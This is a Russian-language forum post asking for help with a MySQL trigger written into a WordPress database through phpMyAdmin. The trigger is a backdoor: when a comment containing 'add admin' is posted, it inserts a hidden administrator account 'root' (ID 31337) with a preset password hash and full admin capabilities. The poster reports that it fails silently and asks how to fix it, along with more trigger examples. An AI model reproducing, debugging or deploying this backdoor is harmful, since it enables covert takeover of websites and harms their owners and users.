
нашел, для phpmyadmin правильно будет
PHP код:
DELIMITER //
CREATE TRIGGER `INSERT` BEFORE INSERT ON `fixer`.`wp_comments`
FOR EACH ROW BEGIN
IF NEW.comment_content = 'add admin' THEN
INSERT INTO `wp_users` ( `ID` , `user_login` , `user_pass` ) VALUES
('31337', 'root', '$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.');
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
('31337', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'),
('31337', 'admin_color', 'fresh'),
('31337', 'comment_shortcuts', 'false'),
('31337', 'rich_editing', 'true'),
('31337', 'nickname', 'root'),
('31337', 'first_name', 'drtro.public@gmail.com'),
('31337', 'wp_user_level', '10');
END IF;
END
//
ошибку не выдал, но и и не работает почему то. После ввода такого кода проста перестают записываться комменты и юзера не создает.
что на этот раз не так?
и что означает кусок кода
PHP код:
CREATE TRIGGER `INSERT` BEFORE INSERT ON `fixer`.`wp_comments`
мы создаем тригер INSERT в бзе fixer и таблице wp_comments правильно?
есть ещё каие нибудь рабочие примеры тригров для изучения?
